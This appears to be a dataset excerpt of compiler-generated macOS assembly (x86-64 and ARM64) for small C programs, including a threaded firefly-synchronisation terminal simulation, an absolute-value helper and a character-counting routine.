## %bb.21: ## in Loop: Header=BB7_9 Depth=1
movl $0, _masterClock(%rip)
LBB7_22: ## in Loop: Header=BB7_9 Depth=1
jmp LBB7_23
LBB7_23: ## in Loop: Header=BB7_9 Depth=1
movl -792(%rbp), %eax
addl $1, %eax
movl %eax, -792(%rbp)
jmp LBB7_9
LBB7_24:
movl $1, _quitNow(%rip)
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -808(%rbp)
leaq L_.str.8(%rip), %rdi
leaq L_.str.9(%rip), %rsi
callq _fopen
movq %rax, %rcx
movq ___stdoutp@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -792(%rbp)
LBB7_25: ## =>This Inner Loop Header: Depth=1
cmpl $64, -792(%rbp)
jge LBB7_28
## %bb.26: ## in Loop: Header=BB7_25 Depth=1
movslq -792(%rbp), %rcx
leaq _lightOnTime(%rip), %rax
movl (%rax,%rcx,4), %esi
movl -792(%rbp), %edx
movslq -792(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %ecx
movslq -792(%rbp), %rdi
movq _flyColPosition@GOTPCREL(%rip), %rax
movl (%rax,%rdi,4), %r8d
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
## %bb.27: ## in Loop: Header=BB7_25 Depth=1
movl -792(%rbp), %eax
addl $1, %eax
movl %eax, -792(%rbp)
jmp LBB7_25
LBB7_28:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fclose
movq -808(%rbp), %rcx
movq ___stdoutp@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movl $64, %edi
movl $16, %esi
callq _calloc
movq %rax, -816(%rbp)
cmpq $0, -816(%rbp)
je LBB7_46
## %bb.29:
movl $0, -792(%rbp)
LBB7_30: ## =>This Inner Loop Header: Depth=1
cmpl $64, -792(%rbp)
jge LBB7_33
## %bb.31: ## in Loop: Header=BB7_30 Depth=1
movl -792(%rbp), %ecx
movq -816(%rbp), %rax
movslq -792(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movslq -792(%rbp), %rcx
leaq _lightOnTime(%rip), %rax
movl (%rax,%rcx,4), %ecx
movq -816(%rbp), %rax
movslq -792(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movslq -792(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %ecx
movq -816(%rbp), %rax
movslq -792(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
movslq -792(%rbp), %rcx
movq _flyColPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %ecx
movq -816(%rbp), %rax
movslq -792(%rbp), %rdx
shlq $4, %rdx
addq %rdx, %rax
movl %ecx, 12(%rax)
## %bb.32: ## in Loop: Header=BB7_30 Depth=1
movl -792(%rbp), %eax
addl $1, %eax
movl %eax, -792(%rbp)
jmp LBB7_30
LBB7_33:
movq -816(%rbp), %rdi
movl $64, %esi
movl $16, %edx
leaq _faCmp(%rip), %rcx
callq _qsort
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -824(%rbp)
leaq L_.str.8(%rip), %rdi
leaq L_.str.9(%rip), %rsi
callq _fopen
movq %rax, %rcx
movq ___stdoutp@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -792(%rbp)
LBB7_34: ## =>This Inner Loop Header: Depth=1
cmpl $64, -792(%rbp)
jge LBB7_37
## %bb.35: ## in Loop: Header=BB7_34 Depth=1
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 4(%rax), %esi
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl (%rax), %edx
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 8(%rax), %ecx
movq -816(%rbp), %rax
movslq -792(%rbp), %rdi
shlq $4, %rdi
addq %rdi, %rax
movl 12(%rax), %r8d
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
## %bb.36: ## in Loop: Header=BB7_34 Depth=1
movl -792(%rbp), %eax
addl $1, %eax
movl %eax, -792(%rbp)
jmp LBB7_34
LBB7_37:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fclose
movq -824(%rbp), %rcx
movq ___stdoutp@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
leaq L_.str.4(%rip), %rdi
movl $1, %edx
movl %edx, %esi
movb $0, %al
callq _printf
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
callq _getchar
movl $0, -796(%rbp)
LBB7_38: ## =>This Loop Header: Depth=1
## Child Loop BB7_40 Depth 2
cmpl $2, -796(%rbp)
jge LBB7_45
## %bb.39: ## in Loop: Header=BB7_38 Depth=1
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -792(%rbp)
LBB7_40: ## Parent Loop BB7_38 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -792(%rbp)
jge LBB7_43
## %bb.41: ## in Loop: Header=BB7_40 Depth=2
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 8(%rax), %esi
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 12(%rax), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl (%rax), %esi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
movl $300, %edi ## imm = 0x12C
callq _sleepMilliseconds
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 8(%rax), %esi
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl 12(%rax), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movq -816(%rbp), %rax
movslq -792(%rbp), %rcx
shlq $4, %rcx
addq %rcx, %rax
movl (%rax), %esi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
## %bb.42: ## in Loop: Header=BB7_40 Depth=2
movl -792(%rbp), %eax
addl $1, %eax
movl %eax, -792(%rbp)
jmp LBB7_40
LBB7_43: ## in Loop: Header=BB7_38 Depth=1
jmp LBB7_44
LBB7_44: ## in Loop: Header=BB7_38 Depth=1
movl -796(%rbp), %eax
addl $1, %eax
movl %eax, -796(%rbp)
jmp LBB7_38
LBB7_45:
movq -816(%rbp), %rdi
callq _free
LBB7_46:
movl $2000, %edi ## imm = 0x7D0
callq _sleepMilliseconds
movq _randLock@GOTPCREL(%rip), %rdi
callq _pthread_mutex_destroy
leaq L_.str.4(%rip), %rdi
movl $25, %esi
movl $1, %edx
movb $0, %al
callq _printf
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -788(%rbp)
LBB7_47:
movl -788(%rbp), %eax
movl %eax, -828(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB7_49
## %bb.48:
movl -828(%rbp), %eax ## 4-byte Reload
addq $832, %rsp ## imm = 0x340
popq %rbp
retq
LBB7_49:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _firefly ## -- Begin function firefly
.p2align 4, 0x90
_firefly: ## @firefly
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
movl $0, -24(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -28(%rbp)
movl $0, -32(%rbp)
movl $0, -36(%rbp)
xorl %edi, %edi
movl $500, %esi ## imm = 0x1F4
callq _randInRange
movl %eax, -40(%rbp)
movl $170, %edi
movl $180, %esi
callq _randInRange
movl %eax, -44(%rbp)
movl $0, -48(%rbp)
movl $999, %edi ## imm = 0x3E7
movl $1001, %esi ## imm = 0x3E9
callq _randInRange
movl %eax, -52(%rbp)
xorl %edi, %edi
movl $500, %esi ## imm = 0x1F4
callq _randInRange
movl %eax, %edi
callq _sleepMilliseconds
LBB8_1: ## =>This Loop Header: Depth=1
## Child Loop BB8_9 Depth 2
cmpl $0, _quitNow(%rip)
setne %al
xorb $-1, %al
testb $1, %al
jne LBB8_2
jmp LBB8_22
LBB8_2: ## in Loop: Header=BB8_1 Depth=1
movl -24(%rbp), %eax
cmpl -40(%rbp), %eax
jne LBB8_4
## %bb.3: ## in Loop: Header=BB8_1 Depth=1
movq -16(%rbp), %rax
movl $1, (%rax)
LBB8_4: ## in Loop: Header=BB8_1 Depth=1
movq -16(%rbp), %rax
cmpl $0, (%rax)
je LBB8_8
## %bb.5: ## in Loop: Header=BB8_1 Depth=1
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
movl -48(%rbp), %eax
cmpl -44(%rbp), %eax
jne LBB8_7
## %bb.6: ## in Loop: Header=BB8_1 Depth=1
movq -16(%rbp), %rax
movl $0, (%rax)
movl $0, -48(%rbp)
LBB8_7: ## in Loop: Header=BB8_1 Depth=1
jmp LBB8_8
LBB8_8: ## in Loop: Header=BB8_1 Depth=1
movl $0, -20(%rbp)
LBB8_9: ## Parent Loop BB8_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -20(%rbp)
jge LBB8_17
## %bb.10: ## in Loop: Header=BB8_9 Depth=2
movl -20(%rbp), %eax
movq -16(%rbp), %rcx
cmpl (%rcx), %eax
je LBB8_15
## %bb.11: ## in Loop: Header=BB8_9 Depth=2
movslq -20(%rbp), %rcx
leaq _lightOn(%rip), %rax
cmpl $0, (%rax,%rcx,4)
je LBB8_13
## %bb.12: ## in Loop: Header=BB8_9 Depth=2
cvtsi2ssl -24(%rbp), %xmm0
addss -28(%rbp), %xmm0
movss %xmm0, -28(%rbp)
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB8_14
LBB8_13: ## in Loop: Header=BB8_9 Depth=2
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
LBB8_14: ## in Loop: Header=BB8_9 Depth=2
jmp LBB8_15
LBB8_15: ## in Loop: Header=BB8_9 Depth=2
jmp LBB8_16
LBB8_16: ## in Loop: Header=BB8_9 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB8_9
LBB8_17: ## in Loop: Header=BB8_1 Depth=1
movl $1, %edi
callq _sleepMilliseconds
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
movl -24(%rbp), %eax
cmpl -52(%rbp), %eax
jl LBB8_21
## %bb.18: ## in Loop: Header=BB8_1 Depth=1
movss -28(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtsi2ssl -32(%rbp), %xmm1
divss %xmm1, %xmm0
cvttss2si %xmm0, %eax
movl %eax, -56(%rbp)
movl -56(%rbp), %eax
subl $87, %eax
movl %eax, -40(%rbp)
cmpl $0, -40(%rbp)
jge LBB8_20
## %bb.19: ## in Loop: Header=BB8_1 Depth=1
movl $1000, %eax ## imm = 0x3E8
subl -40(%rbp), %eax
movl %eax, -40(%rbp)
LBB8_20: ## in Loop: Header=BB8_1 Depth=1
movl $0, -24(%rbp)
LBB8_21: ## in Loop: Header=BB8_1 Depth=1
jmp LBB8_1
LBB8_22:
xorl %eax, %eax
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function makeFireflies
LCPI9_0:
.long 0x42800000 ## float 64
.section __TEXT,__text,regular,pure_instructions
.globl _makeFireflies
.p2align 4, 0x90
_makeFireflies: ## @makeFireflies
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $560, %rsp ## imm = 0x230
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -544(%rbp)
movq _randLock@GOTPCREL(%rip), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_mutex_init
cmpl $0, %eax
je LBB9_2
## %bb.1:
leaq L_.str.14(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -532(%rbp)
jmp LBB9_21
LBB9_2:
movl $0, -536(%rbp)
LBB9_3: ## =>This Inner Loop Header: Depth=1
cmpl $64, -536(%rbp)
jge LBB9_6
## %bb.4: ## in Loop: Header=BB9_3 Depth=1
movslq -536(%rbp), %rax
leaq -528(%rbp), %rdi
shlq $3, %rax
addq %rax, %rdi
movslq -536(%rbp), %rax
leaq _lightOn(%rip), %rcx
shlq $2, %rax
addq %rax, %rcx
xorl %eax, %eax
movl %eax, %esi
leaq _firefly(%rip), %rdx
callq _pthread_create
## %bb.5: ## in Loop: Header=BB9_3 Depth=1
movl -536(%rbp), %eax
addl $1, %eax
movl %eax, -536(%rbp)
jmp LBB9_3
LBB9_6:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movss LCPI9_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
sqrtss %xmm0, %xmm0
cvttss2si %xmm0, %eax
movl %eax, -544(%rbp)
movl $0, -536(%rbp)
LBB9_7: ## =>This Loop Header: Depth=1
## Child Loop BB9_9 Depth 2
cmpl $20000, -536(%rbp) ## imm = 0x4E20
jge LBB9_20
## %bb.8: ## in Loop: Header=BB9_7 Depth=1
leaq L_.str.4(%rip), %rdi
movl $10, %esi
movl $1, %edx
movb $0, %al
callq _printf
movl $0, -540(%rbp)
LBB9_9: ## Parent Loop BB9_7 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -540(%rbp)
jge LBB9_18
## %bb.10: ## in Loop: Header=BB9_9 Depth=2
movslq -540(%rbp), %rcx
leaq _lightOn(%rip), %rax
cmpl $0, (%rax,%rcx,4)
je LBB9_12
## %bb.11: ## in Loop: Header=BB9_9 Depth=2
movq _bulb(%rip), %rax
movq %rax, -552(%rbp) ## 8-byte Spill
jmp LBB9_13
LBB9_12: ## in Loop: Header=BB9_9 Depth=2
leaq L_.str.16(%rip), %rax
movq %rax, -552(%rbp) ## 8-byte Spill
jmp LBB9_13
LBB9_13: ## in Loop: Header=BB9_9 Depth=2
movq -552(%rbp), %rsi ## 8-byte Reload
movl -540(%rbp), %eax
addl $1, %eax
leaq L_.str.16(%rip), %rdx
cmpl $64, %eax
cmoveq %rdx, %rdx
leaq L_.str.15(%rip), %rdi
movb $0, %al
callq _printf
cmpl $0, -544(%rbp)
je LBB9_16
## %bb.14: ## in Loop: Header=BB9_9 Depth=2
movl -540(%rbp), %eax
addl $1, %eax
cltd
idivl -544(%rbp)
cmpl $0, %edx
jne LBB9_16
## %bb.15: ## in Loop: Header=BB9_9 Depth=2
leaq L_.str.17(%rip), %rdi
movb $0, %al
callq _printf
LBB9_16: ## in Loop: Header=BB9_9 Depth=2
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
## %bb.17: ## in Loop: Header=BB9_9 Depth=2
movl -540(%rbp), %eax
addl $1, %eax
movl %eax, -540(%rbp)
jmp LBB9_9
LBB9_18: ## in Loop: Header=BB9_7 Depth=1
movl $1, %edi
callq _sleepMilliseconds
## %bb.19: ## in Loop: Header=BB9_7 Depth=1
movl -536(%rbp), %eax
addl $1, %eax
movl %eax, -536(%rbp)
jmp LBB9_7
LBB9_20:
movl $1, _quitNow(%rip)
movl $2000, %edi ## imm = 0x7D0
callq _sleepMilliseconds
movq _randLock@GOTPCREL(%rip), %rdi
callq _pthread_mutex_destroy
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -532(%rbp)
LBB9_21:
movl -532(%rbp), %eax
movl %eax, -556(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB9_23
## %bb.22:
movl -556(%rbp), %eax ## 4-byte Reload
addq $560, %rsp ## imm = 0x230
popq %rbp
retq
LBB9_23:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _dumpFly ## -- Begin function dumpFly
.p2align 4, 0x90
_dumpFly: ## @dumpFly
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB10_1: ## =>This Inner Loop Header: Depth=1
cmpl $64, -4(%rbp)
jge LBB10_4
## %bb.2: ## in Loop: Header=BB10_1 Depth=1
movslq -4(%rbp), %rcx
movq _flyRowPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %esi
leaq L_.str.18(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB10_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB10_1
LBB10_4:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -4(%rbp)
LBB10_5: ## =>This Inner Loop Header: Depth=1
cmpl $64, -4(%rbp)
jge LBB10_8
## %bb.6: ## in Loop: Header=BB10_5 Depth=1
movslq -4(%rbp), %rcx
movq _flyColPosition@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %esi
leaq L_.str.18(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB10_5 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB10_5
LBB10_8:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -4(%rbp)
LBB10_9: ## =>This Loop Header: Depth=1
## Child Loop BB10_11 Depth 2
cmpl $64, -4(%rbp)
jge LBB10_16
## %bb.10: ## in Loop: Header=BB10_9 Depth=1
movl $0, -8(%rbp)
LBB10_11: ## Parent Loop BB10_9 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $64, -8(%rbp)
jge LBB10_14
## %bb.12: ## in Loop: Header=BB10_11 Depth=2
movslq -4(%rbp), %rcx
leaq _distances(%rip), %rax
shlq $8, %rcx
addq %rcx, %rax
movslq -8(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str.19(%rip), %rdi
movb $0, %al
callq _printf
## %bb.13: ## in Loop: Header=BB10_11 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB10_11
LBB10_14: ## in Loop: Header=BB10_9 Depth=1
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
## %bb.15: ## in Loop: Header=BB10_9 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB10_9
LBB10_16:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _putScreen ## -- Begin function putScreen
.p2align 4, 0x90
_putScreen: ## @putScreen
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $1, -12(%rbp)
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
movl $1, %edx
movl %edx, %esi
movb $0, %al
callq _printf
LBB11_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
cmpb $0, (%rax)
je LBB11_10
## %bb.2: ## in Loop: Header=BB11_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %edi
callq _putchar
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $10, %eax
jne LBB11_4
## %bb.3: ## in Loop: Header=BB11_1 Depth=1
movl $1, -12(%rbp)
LBB11_4: ## in Loop: Header=BB11_1 Depth=1
movl -12(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -12(%rbp)
cmpl $70, %eax
jle LBB11_8
## %bb.5: ## in Loop: Header=BB11_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $32, %eax
jne LBB11_7
## %bb.6: ## in Loop: Header=BB11_1 Depth=1
movl $10, %edi
callq _putchar
movl $0, -12(%rbp)
LBB11_7: ## in Loop: Header=BB11_1 Depth=1
jmp LBB11_8
LBB11_8: ## in Loop: Header=BB11_1 Depth=1
jmp LBB11_9
LBB11_9: ## in Loop: Header=BB11_1 Depth=1
movq -8(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
jmp LBB11_1
LBB11_10:
leaq L_.str.4(%rip), %rdi
movl $24, %esi
movl $1, %edx
movb $0, %al
callq _printf
leaq L_.str.20(%rip), %rdi
movb $0, %al
callq _printf
callq _getchar
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
leaq L_.str.21(%rip), %rdi
callq _putScreen
callq _makeFireflies
leaq L_.str.22(%rip), %rdi
callq _putScreen
callq _distantFireflies
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.23(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _quitNow ## @quitNow
.zerofill __DATA,__common,_quitNow,4,2
.globl _lightOn ## @lightOn
.zerofill __DATA,__common,_lightOn,256,4
.globl _masterClock ## @masterClock
.zerofill __DATA,__common,_masterClock,4,2
.globl _lightOnTime ## @lightOnTime
.zerofill __DATA,__common,_lightOnTime,256,4
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\342\234\263\357\270\217"
.section __DATA,__data
.globl _bulb ## @bulb
.p2align 3
_bulb:
.quad L_.str
.globl _distances ## @distances
.zerofill __DATA,__common,_distances,16384,4
.globl _canYouSeeMe ## @canYouSeeMe
.zerofill __DATA,__common,_canYouSeeMe,16384,4
.comm _flyRowPosition,256,4 ## @flyRowPosition
.comm _flyColPosition,256,4 ## @flyColPosition
.comm _canYouSeeLock,64,3 ## @canYouSeeLock
.comm _randLock,64,3 ## @randLock
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "randLock mutex init has failed\n"
L_.str.2: ## @.str.2
.asciz "canYouSeeLock mutex init has failed\n"
L_.str.3: ## @.str.3
.asciz "\033[2J"
L_.str.4: ## @.str.4
.asciz "\033[%d;%dH"
L_.str.5: ## @.str.5
.asciz "\033[7;40;32m"
L_.str.6: ## @.str.6
.asciz "%d"
L_.str.7: ## @.str.7
.asciz "\033[0m"
L_.str.8: ## @.str.8
.asciz "flyout.csv"
L_.str.9: ## @.str.9
.asciz "w"
L_.str.10: ## @.str.10
.asciz "\n"
L_.str.11: ## @.str.11
.asciz "% 4d, % 2d, % 2d, % 2d\n"
L_.str.12: ## @.str.12
.asciz "Time,N,Row,Col\n"
L_.str.13: ## @.str.13
.asciz "Firing Sequence replay in slow motion. Press [return] to continue."
L_.str.14: ## @.str.14
.asciz "mutex init has failed\n"
L_.str.15: ## @.str.15
.asciz " %s %s"
L_.str.16: ## @.str.16
.asciz " "
L_.str.17: ## @.str.17
.asciz "\n\n"
L_.str.18: ## @.str.18
.asciz "% 2d "
L_.str.19: ## @.str.19
.asciz "%2d "
L_.str.20: ## @.str.20
.asciz "Press [return] key to continue."
L_.str.21: ## @.str.21
.asciz "Fireflies:\n\nHere are 64 fireflies. Each firefly is slightly different, and is an independently executing program thread. Each firefly is started at a random time and has a cycle time that is slighty different from the others. An individual firefly is unaware of how many other fireflies there are and can only see if others are flashing or not. The master thread starts all the fireflies and then displays when they are blinking on the terminal.\n\nThis program was to demonstrate & test the syncing ability. Each one flashes for 25 0ms +/-5ms and have an overall cycle of 1 second +/- 1ms\n\nThey tend to become synchronous within 5 cycles."
L_.str.22: ## @.str.22
.asciz "Fireflies with distance and flash strength:\n\n In this instance we have 64 identical fireflies placed at random positions and are started at random times from 0 to 500ms. In this case however an individual firefly will see the light from every other firefly with a delay proportional to their individual distances apart and a strength inversely proportional to their distances.\n\nThese fireflies take a bit longer to develop their pattern synchrony. \n\nNotice how several occasionally fall out of sync, the reason for this is not known. They are numbered so that their flash order can be examined later."
L_.str.23: ## @.str.23
.asciz "Thanks for watching :) \n"
.section __DATA,__data
.p2align 3 ## @randInRange.x
_randInRange.x:
.quad 3471686161 ## 0xceedba11
.subsections_via_symbols
| the_stack_data/70450178.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_neg_to_pos ; -- Begin function ft_neg_to_pos
.p2align 2
_ft_neg_to_pos: ; @ft_neg_to_pos
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr w9, [sp, #12]
mov w8, #0
subs w8, w8, w9
str w8, [sp, #12]
b LBB0_2
LBB0_2:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_neg_to_pos ## -- Begin function ft_neg_to_pos
.p2align 4, 0x90
_ft_neg_to_pos: ## @ft_neg_to_pos
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
cmpl $0, -4(%rbp)
jge LBB0_2
## %bb.1:
xorl %eax, %eax
subl -4(%rbp), %eax
movl %eax, -4(%rbp)
LBB0_2:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/44693.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #160
.cfi_def_cfa_offset 160
stp x29, x30, [sp, #144] ; 16-byte Folded Spill
add x29, sp, #144
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #32]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
add x0, sp, #36
bl _gets
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #31
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
str wzr, [sp, #24]
str wzr, [sp, #20]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldrsw x9, [sp, #24]
add x8, sp, #36
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldrsw x9, [sp, #24]
add x8, sp, #36
ldrsb w8, [x8, x9]
ldrsb w9, [sp, #31]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_1
LBB0_5:
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w8, [sp, #32]
str w8, [sp, #16] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
bl ___stack_chk_fail
LBB0_7:
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #144] ; 16-byte Folded Reload
add sp, sp, #160
ret
.cfi_endproc
